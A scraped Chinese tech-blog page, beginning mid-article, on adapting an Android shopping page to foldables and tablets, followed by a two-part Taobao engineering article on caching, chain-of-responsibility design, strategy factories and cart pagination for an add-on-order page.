NORMAL_SCREEN_MAX_WIDTH_RESOLUTION ? NORMAL_SCREEN : (AppInfoUtils.getScreenWidth() <= MIDDLE_SCREEN_MAX_WIDTH_RESOLUTION ? MIDDLE_SCREEN : LARGE_SCREEN);    }}


3.4.3 实现方案


(1)数据源驱动 UI 改变的思想


对于直板手机来说,选购页只有一种状态,保持竖屏展示

对于折叠屏来说,折叠屏可以由内屏切换到外屏,也就涉及到了两种不同状态的切换。


对于 Pad 来说,Pad 支持横竖屏切换,所以也是两种不同状态切换。


当屏幕类型、横竖屏切换、内外屏切换时,Activity\Fragment\View 会调用 onConfigurationChanged 方法,因此针对直板手机、折叠屏及 Pad 可以将数据源的切换放在此处。


无论是哪种设备,最多是只有两种不同的状态,因此,数据源这里可以准备两套:一种是 Normal、一种是 Width,对直板手机而言:因为只有一种竖屏状态,因此只需要一套数据源即可;对折叠屏而言:Normal 存放的是折叠屏外屏数据源,Width 存放的是折叠屏内屏数据源;对 Pad 而言:Normal 存放的是 Pad 竖屏状态数据源,Width 存放的是 Pad 横屏状态数据源。


(2)内容区域


右侧的内容区域是一个 Fragment,在这个 Fragment 里面包含了一个 RecyclerView。


每个子楼层

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"    android:id="@+id/root_classify_horizontal"    android:layout_width="match_parent"    android:layout_height="wrap_content"    android:orientation="vertical">     <xxx.widget.HeaderAndFooterRecyclerView        android:id="@+id/shop_product_multi_rv"        android:layout_width="match_parent"        android:layout_height="wrap_content" /> LinearLayout>


每个楼层也是一个单独的 RecyclerView,以楼层 4 为例,楼层 4 的每一行商品都是一个 RecyclerView,每个 RecyclerView 使用 GridLayoutManager 来控制布局的展现列数。


(3)数据源


以折叠屏为例:针对每个子楼层的数据,在解析时,就先准备两套数据源:一种是 Normal、一种是 Width。


在请求网络数据回来后,在解析数据完成后,存放两套数据源。这两套数据源要根据 UI 设计的规则来组装,例如以折叠屏的楼层 4 为例:

折叠屏 - 外屏 - 楼层 4:一行展示 2 个商品信息。

折叠屏 - 内屏 - 楼层 4:一行展示 3 个商品信息。


注意:这里的 2、3 数字是 UI 设计之初就定下来的,每行商品都是一个 RecyclerView,并且使用 GridLayoutManager 来控制其列数,因此这个 2、3 也是传入到 GridLayoutManager 的列数值,这里要保持一致。


子楼层的数据源解析

//这里的normalProductMultiClassifyUiBeanList集合中存放了2个商品信息for (ProductMultiClassifyUiBean productMultiClassifyUiBean : normalProductMultiClassifyUiBeanList) {    productMultiClassifyUiBean.setFirstFloor(isFirstFloor);    shopListDataWrapper.addNormalBaseUiBeans(productMultiClassifyUiBean);}//这里的normalProductMultiClassifyUiBeanList集合中存放了3个商品信息for (ProductMultiClassifyUiBean productMultiClassifyUiBean : widthProductMultiClassifyUiBeanList) {    productMultiClassifyUiBean.setFirstFloor(isFirstFloor);    shopListDataWrapper.addWidthBaseUiBeans(productMultiClassifyUiBean);}


因此,到这里就已经获取了所需的数据源部分


(4)屏幕类型切换

还是以折叠屏为例,折叠屏外屏切换到内屏,此时 Fragment 会走 onConfigurationChanged 方法。


屏幕类型切换 - 数据源切换 - 更新 RecyclerView。

public void onConfigurationChanged(@NonNull Configuration newConfig) {    super.onConfigurationChanged(newConfig);    //1、 首先进行内容区域中的RecyclerViewAdapter、数据源判空    if (mRecyclerViewAdapter == null || mPageBeanAll == null) {        return;    }    //2、判断当前的屏幕类型,注意:这个地方是调用3提供的方法:ScreenTypeUtil.getScreenType(newConfig)    // 直板手机、折叠屏外屏    if (ScreenTypeUtil.NORMAL_SCREEN == ScreenTypeUtil.getScreenType(newConfig)) {        mPageBeanAll.setBaseUiBeans(mPageBeanAll.getNormalBaseUiBeans());    } else if (ScreenTypeUtil.MIDDLE_SCREEN == ScreenTypeUtil.getScreenType(newConfig)) {        if (SystemInfoUtils.isPadDevice()) {            // Pad的竖屏            mPageBeanAll.setBaseUiBeans(mPageBeanAll.getNormalBaseUiBeans());        } else {            // 折叠屏的内屏            mPageBeanAll.setBaseUiBeans(mPageBeanAll.getWidthBaseUiBeans());        }    } else {        // Pad的横屏、大分辨率屏幕        mPageBeanAll.setBaseUiBeans(mPageBeanAll.getWidthBaseUiBeans());    }    //获取当前屏幕类型的最新数据源    mRecyclerViewAdapter.setDataSource(mPageBeanAll.getBaseUiBeans());    //数据源驱动楼层UI改变    mRecyclerViewAdapter.notifyDataSetChanged();}


通过 onConfigurationChanged 方法,能够看到数据源是如何根据不同屏幕类型进行切换的,当数据源切换后,会通过 notifyDataSetChanged 方法来改变 UI。


四、至简之路的铸就


大道至简,遵循规范和原则,就可以想到如何对多机型进行适配,别陷入细节。


以这个作为指导思想,可以做很多其他的适配。下面做些列举,但不讲解实现方式了。


1、文字显示区域放大

如下图所示,标题的长度,在整个容器显示宽度变宽的同时,也跟着一起变化,保证内容的长度可以自适应的变化。


2、弹框样式的兼容

如下图所示,蓝色区域是键盘的高度,在屏幕进行旋转的时候,键盘的高度也是变化的,此时可能会出现遮挡住原本展示的内容,此处的处理方式是:让内容区域可以上下滑动。


3、摄像头位置的处理

如下图所示,在屏幕旋转之后,摄像头可以出现在右下角,此时如果不对页面进行设置,那么就可能出现内容区域无法占据整个屏幕区域的问题,体验比较差,此处的处理方式是:设置页面沉浸式,摄像头可以合理地覆盖一部分内容。



五、我们摆脱困扰了吗


5.1 解决原先的问题


通过前面的介绍,我们知道了,vivo 官网的团队针对折叠屏和 pad 这种大屏,采取了全屏展示的方案,一开始的时候,我们遇到的问题也得到了解决:


(1)开发人员的适配成本高了,是不是针对每一种机型,都要做个单独的应用进行适配呢?

Answer:按照全屏模式的设计方案,折叠屏和 pad 也就是一种大尺寸的机器,开发人员判断机型的分辨率和尺寸,选择一种对应的布局展示就好了,只用一个应用就能搞定。


(2)UI 设计师要做的效果图要多了,是不是要针对每种机型都要设计一套效果图呢?

Answer:制定一套规范,大于某个尺寸时,展示其他样式,所有信息内容都按照这种规范来,不会出现设计混乱的情况。


(3)产品和运营需要选择的物料更受限制了,会不会这个物料在一个机器上正常。在其他机器上就不正常了呢?

Answer:以不变应万变,使用一套物料,适配不同的机型已经可以落地了,不用再担心在不同的机器上展示不统一的问题。


5.2 我们还可以做什么


5.2.1 我们的优点


折叠屏和 pad 两款机器,已经在市面上使用较长时间,各家厂商也纷纷采取了不同的适配方案来提升交互体验,但是往往存在下面几个问题:


1、针对不同机型,采用了不同的安装包。

这种方案,其实会增加维护成本,后期的开发要基于多个安装包去开发,更加耗时。


2、适配了不同的机型,但是在一些场景下的样式不理想。

比如有些 APP 做了分栏的适配,但是没有做全屏的适配,效果就比较差,这里可能也是考虑到了投入产出比。


3、目前的适配指导文档对于开发人员来说指导性较弱。

各种适配指导文档,还是比较偏向于官方,对于开发人员来说,还是无法提前识别问题,遇到问题还是要实际去解决,

https://developer.huawei.com/consumer/cn/doc/90101


基于此,我们的优点如下:


1、我们只有一个安装包。

我们是一个安装包适配所有机型,每种机型的 APP 展示的样式虽然不同,对于开发者来说,就是增加了一个样式,思路比较清晰。


2、全场景适配。

不同机型的纵向、横竖屏切换,都做到了完美适配,一套物料适配所有机型也是我们的一个特色。


3、有针对性地提供适配方案。

本方案是基于实际开发遇到的问题,进行的梳理,可以帮忙开发人员解决实际可能遇到的问题,具备更好的参考性。


5.2.2 我们还有什么要改进


回首方案,我们这里做到的是使用全屏模式去适配不同机型,更多的适用于像京东、淘宝、商城等电商类 APP 上,实际上,现在有些非 APP 会采用分栏的形式做适配,这也是一种跟用户交互的方式,本方案没有提到分栏,后续分栏落地后,对这部分会再进行补充。


作者:vivo 互联网客户端团队- Xu Jie 

收起阅读 »

谈一谈凑单页的那些优雅设计(上)

本文将详细介绍作者如何在业务增长的情况下重构与优化系统设计。写在前面凑单页存在的历史也算是比较悠久了,我从去年接手到现在也经历不少的版本变更,最开始只是简单feeds流,为提升用户体验,更好的帮助用户去凑到满意的商品,我们在重构整个凑单页的同时,还新增了榜单、...
继续阅读 »

本文将详细介绍作者如何在业务增长的情况下重构与优化系统设计。

写在前面

凑单页存在的历史也算是比较悠久了,我从去年接手到现在也经历不少的版本变更,最开始只是简单feeds流,为提升用户体验,更好的帮助用户去凑到满意的商品,我们在重构整个凑单页的同时,还新增了榜单、限时秒杀模块,在双十一期间,加购率和转化率得到明显提升。今年618还新增了凑单进度购物栏模块,支持了实时凑单进度展示以及结算下单的能力,提升用户凑单体验。并且在凑单页完成业务迭代的同时,也一路沉淀了些通用的能力支撑其他业务快速迭代,本文我将详细介绍我是如何在业务增长的情况下重构与优化系统设计的。


针对一些段时间内不会变化的,数量比较有限的数据,为了减少下游的压力,并提高自身系统的性能,我们常常会使用多级缓存来达到该目的。最常见的就是本地缓存 + redis缓存来承接,如果本地缓存不存在,则取redis缓存的数据,并本地缓存起来,如果redis也不存在,则再从数据源获取,基本代码(获取榜单数据)如下:

return LOCAL_CACHE.get(key, () -> {
  String cache = rdbCommonTairCluster.get(key);
  if (StringUtils.isNotBlank(cache)) {
      return JSON.parseObject(cache, new TypeReference<List<ItemShow>>(){});
  }
  List<ItemShow> itemShows = getRankingItemOriginal(context, rankingRequest);
  rdbCommonTairCluster.set(key, JSON.toJSONString(itemShows), new SetParams().ex(CommonSwitch.rankingExpireSecond));
  return itemShows;
});

逐渐的就出现了问题,线上偶现某些用户一段时间看不到榜单模块。榜单模块示意图如下:


这种问题排查起来最是棘手,需要一定的项目经验,我第一次遇到这类问题也是费了老大劲。总结一下,如果某次缓存过期,下游服务刚好返回了空结果,就会导致本次请求被缓存了空结果。那该缓存的生命周期内,榜单模块都会消失,但由于某些机器本地缓存还有旧数据,就会导致部分用户能看到,部分用户看不到的场景。

下面来看看我是如何优化的。核心主要关注:区分下游返回的结果是真的空还是假的空,本身就为空的情况下,就该缓存空集合(非大促期间或者某些榜没有数据,数据本身就为空)


在redis中拉长value缓存的时间,同时新增一个可更新时间的缓存(比如60s过期),当判断更新时间缓存过期了,就重新读取数据源,将value值重新赋值,这里需要注意,我会对比新老数据,如果新数据为空,老数据不为空,则只是更新时间,不置换value。value随着自己的过期时间结束,改造后的代码如下:

return LOCAL_CACHE.get(key, () -> {
  String updateKey = getUpdateKey(key);
  String value = rdbCommonTairCluster.get(key);
  List<ItemShow> cache = StringUtils.isBlank(cache) ? Collections.emptyList()
      : JSON.parseObject(value, new TypeReference<List<ItemShow>>(){});
  if (rdbCommonTairCluster.exists(updateKey)) {
      return cache;
  }
  rdbCommonTairCluster.set(updateKey, currentTime, cacheUpdateSecond);
  List<ItemShow> itemShows = getRankingItemOriginal(context, rankingRequest);
  if (CollectionUtils.isNotEmpty(itemShows)) {
      rdbCommonTairCluster.set(key, JSON.toJSONString(itemShows), new SetParams().ex(CommonSwitch.rankingExpireSecond));
  }
  return itemShows;
});

为了使这段代码能够复用,我将该多级缓存抽象出来一个独立对象,代码如下:

public class GatherCache<V> {
  @Setter
  private Cache<String, List<V>> localCache;
  @Setter
  private CenterCache centerCache;

  public List<V> get(boolean needCache, String key, @NonNull Callable<List<V>> loader, Function<String, List<V>> parse) {
      try {
          // 是否需要是否缓存
          return needCache ? localCache.get(key, () -> getCenter(key, loader, parse)) : loader.call();
      } catch (Throwable e) {
          GatherContext.error(this.getClass().getSimpleName() + " get catch exception", e);
      }
      return Collections.emptyList();
  }

  private List<V> getCenter(String key, Callable<List<V>> loader, Function<String, List<V>> parse) throws Exception {
      String updateKey = getUpdateKey(key);
      String value = centerCache.get(key);
      boolean blankValue = StringUtils.isBlank(value);
      List<V> cache = blankValue ? Collections.emptyList() : parse.apply(value);
      if (centerCache.exists(updateKey)) {
          return cache;
      }
      centerCache.set(updateKey, currentTime, cacheUpdateSecond);
      List<V> newCache = loader.call();
      if (CollectionUtils.isNotEmpty(newCache)) {
          centerCache.set(key, JSON.toJSONString(newCache), cacheExpireSecond);
      }
      return newCache;
  }
}

将从数据源获取数据的代码交与外部实现,使用Callable的形式,同时通过泛型约束数据源类型,这里还有一点瑕疵还没得到解决,就是通过fastJson转换String到对象时,没法使用泛型直接转,我这里就采用了外部化的处理,就是跟获取数据源方式一样,由外部来决定如何解析从redis中获取到的字符串value。调用方式如下:

List<ItemShow> itemShowList = gatherCache.get(true, rankingRequest.getKey(),
  () -> getRankingItemOriginal(rankingRequest, context.getRequestContext()),
  v -> JSON.parseObject(v, new TypeReference<List<ItemShow>>() {}));

同时我还采用的建造者模式,方便gatherCache类快速生成,代码如下:

@PostConstruct
public void init() {
  this.gatherCache = GatherCacheBuilder.newBuilder()
      .localMaximumSize(500)
      .localExpireAfterWriteSeconds(30)
      .build(rdbCenterCache);
}

以上的代码相对比较完美了,却忽略了一个细节点,如果多台机器的本地缓存同时失效,恰好redis的可更新时间失效了,这时就会有多个请求并发打到下游(由于凑单有本地缓存兜底,并发打到下游的个数非常有限,基本可以忽略)。但遇到问题就需要去解决,追求完美代码。我做了如下的改造:

private List<V> getCenter(String key, Callable<List<V>> loader, Function<String, List<V>> parse) throws Exception {
  String updateKey = getUpdateKey(key);
  String value = centerCache.get(key);
  boolean blankValue = StringUtils.isBlank(value);
  List<V> cache = blankValue ? Collections.emptyList() : parse.apply(value);
  // 如果抢不到锁,并且value没有过期
  if (!centerCache.setNx(updateKey, currentTime) && !blankValue) {
      return cache;
  }
  centerCache.set(updateKey, currentTime, cacheUpdateSecond);
  // 使用异步线程去更新value
  CompletableFuture.runAsync(() -> updateCache(key, loader));
  return cache;
}

private void updateCache(String key, Callable<List<V>> loader) {
  List<V> newCache = loader.call();
  if (CollectionUtils.isNotEmpty(newCache)) {
    centerCache.set(key, JSON.toJSONString(newCache), cacheExpireSecond);
  }
}

本方案使用分布式锁 + 异步线程的方式来处理更新。只会有一个请求抢到更新锁,并发情况下,其他请求在可更新时间段内还是返回老数据。由于redis封装的方法中并没有抢锁后同时设置过期时间的原子性操作,我这里用了先抢锁,再赋值过期时间的方式,在极端场景下可能会出现死锁的情况,就是刚好抢到了锁,然后机器出现异常宕机,导致过期时间没有赋值上去,就会出现永远无法更新的情况。这种情况虽然极端,但还是要解,以下是我能想到的两个方案,我选择了第二种方式:

  1. 通过使用lua脚本将两步操作合成一个原子性操作

  2. 利用value的过期时间来解该死锁问题


P.S. 一些从ThreadLocal中拿的通用信息,在使用异步线程处理的时候是拿不到的,得重新赋值

凑单核心处理流程设计

凑单本身是没有自己的数据源的,都是从其他服务读取,做各种加工后展示。这样的代码是最好写的,也是最难写的。就好比最简单的组装商品信息,一般的代码都会这么写:

// 获取推荐商品
List<Map<String, String>> summaryItemList = recommend();
List<ItemShow> itemShowList = summaryItemList.stream().map(v -> {
  ItemShow itemShow = new ItemShow();
  // 设置商品基本信息
  itemShow.setItemId(NumberUtils.createLong(v.get("itemId")));
  itemShow.setItemImg(v.get("pic"));
  // 获取利益点
  GuideInfoDTO guideInfoDTO = new GuideInfoDTO();
  AtmosphereResult<Map<Long, List<AtmosphereFullDTO>>> atmosphereResult = guideAtmosphereClient
      .extract(guideInfoDTO, "gather", "item");
  List<IconText> iconTexts = parseAtmosphere(atmosphereResult);
  itemShow.setItemBenefits(iconTexts);
  // 预售处理
  String preSalePrice = getPreSale(v);
  if (Objects.nonNull(preSalePrice)) {
      itemShow.setItemPrice(preSalePrice);
  }
  // ......
  return itemShow;
}).collect(Collectors.toList());

能快速写好代码并投入使用,但代码有点杂乱无章,对代码要求比较高的开发者可能会做如下的改进

// 获取推荐商品
List<Map<String, String>> summaryItemList = recommend();
List<ItemShow> itemShowList = summaryItemList.stream().map(v -> {
  ItemShow itemShow = new ItemShow();
  // 设置商品基本信息
  buildCommon(itemShow, v);
  // 获取利益点
  buildAtmosphere(itemShow, v);
  // 预售处理
  buildPreSale(itemShow, v);
  // ......
  return itemShow;
}).collect(Collectors.toList());

一般这样的代码算是比较优质的处理了,但这仅仅是针对单个业务,如果遇到多个业务需要使用该组装后,最简单但就是需要判断是来自feeds流模块的请求商品组装不需要利益点,来自前N秒杀模块的不需要处理预售价格。

// 获取推荐商品
List<Map<String, String>> summaryItemList = recommend();
List<ItemShow> itemShowList = summaryItemList.stream().map(v -> {
  ItemShow itemShow = new ItemShow();
  // 设置商品基本信息
  buildCommon(itemShow, v);
  // 获取利益点
  if (!Objects.equals(soluction, FiltrateFeedsSolution.class)) {
      buildAtmosphere(itemShow, v);
  }
  // 预售处理
  if (!Objects.equals(source, "seckill")) {
      buildPreSale(itemShow, v);
  }
  // ......
  return itemShow;
}).collect(Collectors.toList());

该方案可以清晰看到整个主流程的分流结构,但会使得主流程不够整洁,降低可读性,很多人都习惯把该判断写到各自的方法里如下。(当然也有人每个模块都单独写一个主流程,以上只是为了文章易懂简化了代码,实际主流程较长,并且大部分都是需要处理的,如果每个模块都单独自己创建主流程,会带来很多重复代码,不推荐)

private void buildAtmosphere(ItemShow itemShow, Map<String, String> map) {
  if (Objects.equals(soluction, FiltrateFeedsSolution.class)) {
      return;
  }
  GuideInfoDTO guideInfoDTO = new GuideInfoDTO();
  AtmosphereResult<Map<Long, List<AtmosphereFullDTO>>> atmosphereResult = guideAtmosphereClient
      .extract(guideInfoDTO, "gather", "item");
  List<IconText> iconTexts = parseAtmosphere(atmosphereResult);
  itemShow.setItemBenefits(iconTexts);
}

纵观整个凑单的业务逻辑,不管是参数组装,商品组装,购物车组装,榜单组装,都需要信息组装的能力,并且他们都有如下的特性:

  1. 每个或每几个字段的组装都不影响其他字段,就算出现异常也不应该影响其他字段的拼装

  2. 在消费者链路下,性能的要求会比较高,能不用访问的组装逻辑就不去访问,能不调用下游,就不去调用下游

  3. 如果在组装的过程中发现有写字段是必须要的,但没有补全,则提前终止流程

  4. 每个方法的处理需要记录耗时,开发能清楚的知道耗时在哪些地方,方便找到需要优化的代码

以上的点都很小,不做或者单独做都不影响整体,凑单页含有这么多组装逻辑的情况下,如果以上逻辑全部都写一遍,将产生大量的冗余代码。但对自己代码要求比较高的人来说,这些点不加上去,心里总感觉有根刺在。慢慢的就会因为自己之前设计考虑的不全,打各种补丁,就好比想知道某个方法的耗时,就会写如下代码:

long startTime = System.currentTimeMillis();
// 主要处理
buildAtmosphere(itemShow, summaryMap);
long endTime = System.currentTimeMillis();
return endTime - startTime;

凑单各域都是做此类型的组装,有商品组装,参数组装,榜单组装,购物车组装。针对凑单业务的特性,寻遍各类设计模式,最终选择了责任链 + 命令模式。

在 GoF 的《设计模式》中,责任链模式是这么定义的:

将请求的发送和接收解耦,让多个接收对象都有机会处理这个请求。将这些接收对象串成一条链,并沿着这条链传递这个请求,

直到链上的某个接收对象能够处理它为止。

*首先,我们来看,职责链模式如何应对代码的复杂性。*

将大块代码逻辑拆分成函数,将大类拆分成小类,是应对代码复杂性的常用方法。应用职责链模式,我们把各个商品组装继续拆分出来,设计成独立的类,进一步简化了商品组装类,让类的代码不会过多,过复杂。

*其次,我们再来看,职责链模式如何让代码满足开闭原则,提高代码的扩展性。*

当我们要扩展新的组装逻辑的时候,比如,我们还需要增加价格隐藏过滤,按照非职责链模式的代码实现方式,我们需要修改主类的代码,违反开闭原则。不过,这样的修改还算比较集中,也是可以接受的。而职责链模式的实现方式更加优雅,只需要新添加一个Command 类(实际处理类采用了命令模式做一些业务定制的扩展),并且通过 addCommand() 函数将它添加到 Chain 中即可,其他代码完全不需要修改。

接下来就是使用该模式,对凑单全域进行改造升级,核心架构图如下


各个域需要满足如下条件:

  1. 支持单个处理和批量处理

  2. 支持提前阻断

  3. 支持前置判断是否需要处理

处理类类图如下


【ChainBaseHandler】:核心处理类

【CartHandler】:加购域处理类

【ItemSupplementHandler】:商品域处理类

【RankingHandler】:榜单域处理类

【RequestHanlder】:参数域处理类

我们首先来看核心处理层:

public class ChainBaseHandler<T extends Context> {
  /**
    * 任务执行
    * @param context
    */
  public void execute(T context) {
      List<String> executeCommands = Lists.newArrayList();
      for (Command<T> c : commands) {
          try {
              // 前置校验
              if (!c.check(context)) {
                  continue;
              }
              // 执行
              boolean isContinue = timeConsuming(() -> execute(context, c), c, executeCommands);
              if (!isContinue) {
                  break;
              }
          } catch (Throwable e) {
              // 打印异常信息
              GatherContext.debug("exception", c.getClass().getSimpleName());
              GatherContext.error(c.getClass().getSimpleName() + " catch exception", e);
          }
      }
      // 打印个命令任务耗时
      GatherContext.debug(this.getClass().getSimpleName() + "-execute", executeCommands);
  }
}

中间的timeConsuming方法用来计算耗时,耗时需要前后包裹执行方法

private boolean timeConsuming(Supplier<Boolean> supplier, Command<T> c, List<String> executeCommands) {
  long startTime = System.currentTimeMillis();
  boolean isContinue = supplier.get();
  long endTime = System.currentTimeMillis();
  long timeConsuming = endTime - startTime;
  executeCommands.add(c.getClass().getSimpleName() + ":" + timeConsuming);
  return isContinue;
}

具体执行如下:

/**
* 执行每个命令
* @return 是否继续执行
*/
private <D extends ContextData> boolean execute(Context context, Command<T> c) {
  if (context instanceof MuchContext) {
      return execute((MuchContext<D>) context, c);
  }
  if (context instanceof OneContext) {
      return execute((OneContext<D>) context, c);
  }
  return true;
}

/**
* 单数据执行
* @return 是否继续执行
*/
private <D extends ContextData> boolean execute(OneContext<D> oneContext, Command<T> c) {
  if (Objects.isNull(oneContext.getData())) {
      return false;
  }
  if (c instanceof CommonCommand) {
      return ((CommonCommand<OneContext<D>>) c).execute(oneContext);
  }
  return true;
}

/**
* 批量数据执行
* @return 是否继续执行
*/
private <D extends ContextData> boolean execute(MuchContext<D> muchContext, Command<T> c) {
  if (CollectionUtils.isEmpty(muchContext.getData())) {
      return false;
  }
  if (c instanceof SingleCommand) {
      muchContext.getData().forEach(data -> ((SingleCommand<MuchContext<D>, D>) c).execute(data, muchContext));
      return true;
  }
  if (c instanceof CommonCommand) {
      return ((CommonCommand<MuchContext<D>>) c).execute(muchContext);
  }
  return true;

入参都是统一的context,其中的data为需要拼装的数据。类图如下


MuchContext(多值的数据拼装上下文),data是个集合

public class MuchContext<D extends ContextData> implements Context {

  protected List<D> data;

  public void addData(D d) {
      if (CollectionUtils.isEmpty(this.data)) {
          this.data = Lists.newArrayList();
      }
      this.data.add(d);
  }

  public List<D> getData() {
      if (Objects.isNull(this.data)) {
          this.data = Lists.newArrayList();
      }
      return this.data;
  }
}

OneContext(单值的数据拼装上下文),data是个对象

public class OneContext <D extends ContextData> implements Context {
  protected D data;
}

各域可根据自己需要实现,各个实现的context也使用了领域模型的思想,将对入参的一些操作封装在此,简化各个命令处理器的获取成本。举个例子,比如入参是一系列操作集合 List<HandleItem> handle。但实际使用是需要区分各个操作,那我们就需要在context中做好初始化,方便获取:

private void buildHandle() {
  // 勾选操作集合
  this.checkedHandleMap = Maps.newHashMap();
  // 去勾选操作集合
  this.nonCheckedHandleMap = Maps.newHashMap();
  // 修改操作集合
  this.modifyHandleMap = Maps.newHashMap();
  Optional.ofNullable(requestContext.getExtParam())
      .map(CartExtParam::getHandle)
      .ifPresent(o -> o.forEach(v -> {
          if (Objects.equals(v.getType(), CartHandleType.checked)) {
              checkedHandleMap.put(v.getCartId(), v);
          }
          if (Objects.equals(v.getType(), CartHandleType.nonChecked)) {
              nonCheckedHandleMap.put(v.getCartId(), v);
          }
          if (Objects.equals(v.getType(), CartHandleType.modify)) {
              modifyHandleMap.put(v.getCartId(), v);
          }
      }));
}

下面来看各个命令处理器,类图如下:


命令处理器主要分为SingleCommand和CommonCommand,CommonCommand为普通类型,即将data交与各个命令自行处理,而SingleCommand则是针对批量处理的情况下,将data集合提前拆好。两个核心区别就在于一个在框架层执行data的循环,一个是在各个命令层处理循环。主要作用在于:

  1. SingleCommand减少重复循环代码

  2. CommonCommand针对下游需要批量处理的可提高性能

续  谈一谈凑单页的那些优雅设计(下)

作者:鸣翰(郑健) 大淘宝技术 

收起阅读 »

谈一谈凑单页的那些优雅设计(下)

接 谈一谈凑单页的那些优雅设计(上)最终的成品如下,各个命令执行顺序一目了然▐ 多算法分流设计【RecommendEngine】:推荐引擎,用于推荐feeds流业务逻辑封装【BaseDataEngine】:通用数据引擎,将引擎的通用层抽离出来,简化通...
继续阅读 »

接 谈一谈凑单页的那些优雅设计(上)

下方是一个使用例子:

public class CouponCustomCommand implements CommonCommand {
  @Override
  public boolean check(CartContext context) {
      // 如果不是跨店满减或者品类券,不进行该命令处理 
      return Objects.equals(BenefitEnum.kdmj, context.getRequestContext().getCouponData().getBenefitEnum())
          || Objects.equals(BenefitEnum.plCoupon, context.getRequestContext().getCouponData().getBenefitEnum());
  }

  @Override
  public boolean execute(CartContext context) {
      CartData cartData = context.getData();
      // 命令处理
      return true;
  }

最终的成品如下,各个命令执行顺序一目了然


多算法分流设计

上面讲完了底层的一些代码结构设计,接下来讲一讲针对业务层的代码设计。凑单分为很多个模块,推荐feeds流、榜单模块、秒杀模块、搜索模块。整体效果图如下:


针对这种不同模块使用不同的算法,我们最先能想到的设计就是每个模块都是一个单独的接口。各自组装各自的逻辑。但在实现过程中会发现,这其中有很多通用的逻辑,比如推荐feeds流和限时秒杀模块,使用的都是凑单引擎的,算法逻辑完全相同,只是多了获取秒杀key的逻辑,所以我会选择使用同一个接口,让该接口能够尽量的通用。这里我选用了策略工厂模式,核心类图如下:


【SeckillEngine】:秒杀引擎,用于秒杀模块业务逻辑封装

【RecommendEngine】:推荐引擎,用于推荐feeds流业务逻辑封装

【SearchEngine】:搜索引擎,用于搜索模块业务逻辑封装

【BaseDataEngine】:通用数据引擎,将引擎的通用层抽离出来,简化通用代码

【EngineFactory】:引擎工厂,用于模块路由到合适的引擎

该模式下,针对可能不断累加的模块,能完成快速的开发并投入使用,该模式也是比较通用,大家都会选择的模式,我这里就不再过多的业务阐述了,就讲讲我对策略模式的理解吧,一提到策略模式,有人就觉得,它的作用是避免 if-else 分支判断逻辑。实际上,这种认识是很片面的。策略模式主要的作用还是解耦,控制代码的复杂度,让每个部分都不至于过于复杂、代码量过多。除此之外,对于复杂代码来说,策略模式还能让其满足开闭原则,添加新策略的时候,最小化、集中化代码改动,减少引入 bug 的风险。

*P.S. 实际上,设计原则和思想比设计模式更加普适和重要。掌握了代码的设计原则和思想,我们能更清楚的了解,为什么要用某种设计模式,就能更恰到好处地应用设计模式。*



取巧的功能设计

凑单购物车部分

  • 设计的背景

凑单是跨店优惠工具使用链路上的核心环节,用户对凑单有很高的诉求,但目前由于凑单页不支持实时凑单进度提示等问题,导致用户凑单体验较差,亟需优化凑单体验进而提升流量转化效率。但由于某些原因,我们不得不独立开发一套凑单购物车,同时加上凑单进度,其中商品数据源以及动态计算能力还是使用的淘宝购物车。

  • 基本框架结构设计

凑单页购物车是需要展示满足某个跨店满减活动的商品(套购同理),我不能直接使用购物车的接口直接返回所有商品数据以及优惠明细。所以我这里将购物车的访问拆成了两个部分,第一步先通过购物车的data.query接口查询出该用户所有加购的商品(该商品数据只有id,数量,时间相关的信息)。在凑单页先进行一次活动商品过滤后,再将剩余的商品调用购物车的动态计算接口,完成整个凑单购物车内所有数据的展示。流程如下:


  • 分页排序设计

大促期间,购物车大部分加购的品都是满足跨店满减活动的,如果每次都所有的商品参与动态计算并一次返回,性能会非常的差,所以这里就需要做到分页,页面展示如果涉及到了分页,难度系数将成倍的上升。首先我们来看凑单购物车的排序需求:

  1. 首次进入凑单页商品的顺序需要和购物车保持一致

    同一个店铺的需要放在一起,按加购时间倒序排

    店铺间按最新加购的某个商品的加购时间倒序排

  2. 如果是从某个店铺点进来的,该店铺需要在凑单页置顶,并主动勾选

  3. 如果过程中发现有新加入的品,该品需要置顶(不用将该店铺的其他品置顶)

  4. 如果过程中发现有失效的商品需要沉底(放到最后一页并沉底)

  5. 如果过程中发现有失效的品转成生效,需移上来

难点分析

  1. 排序并不是简单的按照时间维度排,增加的店铺维度,以及店铺置顶的能力

  2. 我们没有自己的数据源,每次查出来都得重新排序

  3. 第一次进入的排序和后续新加购的商品排序不同

  4. 支持分页

技术方案

首先能想到的就是找个地方存一下排序好的顺序,第一选择肯定是使用redis,但根据评估如果按用户维度去存储商品顺序,亿级的用户量 * 活动量需要耗费几百G的缓存容量,同时还需要维护该缓存的生命周期,相对还是比较麻烦。这种用户维度的缓存最好是通过客户端来进行缓存,我该如何利用前端来做该缓存,并让前端无感知呢?以下是我的接口设计:

itemList[{"cartId": 11111,"quantity":50,"checked": 是否勾选}]当前所有前端的品
sign{}标志,前端不需要关注里面的东西,后端返回直接传,如果没有就不传
nexttrue是否继续加载
allCheckedtrue是否全选
handle[{"cartId":1111,"quantity": 5,"checked":true,"type": modify}]type=modify更新,checked勾选,nonChecked去掉勾选

其中sign对象服务端返回给前端,下一次请求需要将sign对象原封不动的传给服务端,sign中存储了分页信息,以及需要商品的排序,sign对象如下:

public class Sign {
  /**
    * 已加载到到权重
    */
  private Integer weight;

  /**
    * 本次查询购物车商品最晚加购时间
    */
  private Long endTime;

  /**
    * 上一次查询购物车所有排序好的商品
    */
  private List activityItemList;
}

具体方案

  1. 首次进入按商品加购时间以及店铺维度做好初始排序,并标记weight(第一个200,第二个199,依次类推),并保存在sign对象的activityItemList中,取第一页数据,并将该页最小weight和所有商品的最晚加购时间endTime同步记录到sign中。并将sign返回给前端

  2. 前端在加载下一页时将上次请求后端返回的sign字段重新传给后端,后端根据sign中的weight大小判断,依次取下一页数据,同时将最新的最小weight写入sign,返回给前端。

  3. 期间如果发现有商品的加购时间大于sign中的endTime,则主动将其置顶,weight使用默认最大数字200。

  4. 由于在排序时无法知道商品是否失效以及能够勾选,所以需要在商品补全后(调用购物车的动态计算接口)重新对失效商品排序。

    如果本页没有失效的品,不做处理

    如果本页全是失效的品,不做处理(为了处理最后几页都是失效品的情况)

    如果有下一页,将失效的品放到后面页沉底

    如果当前页是最后一页,则直接沉底

方案时序图如下:


  • 商品勾选设计

购物车的商品勾选后就会出现勾选商品的下单价格以及能享受的各类优惠,勾选情况主要分为:

  1. 勾选、反勾选、全选

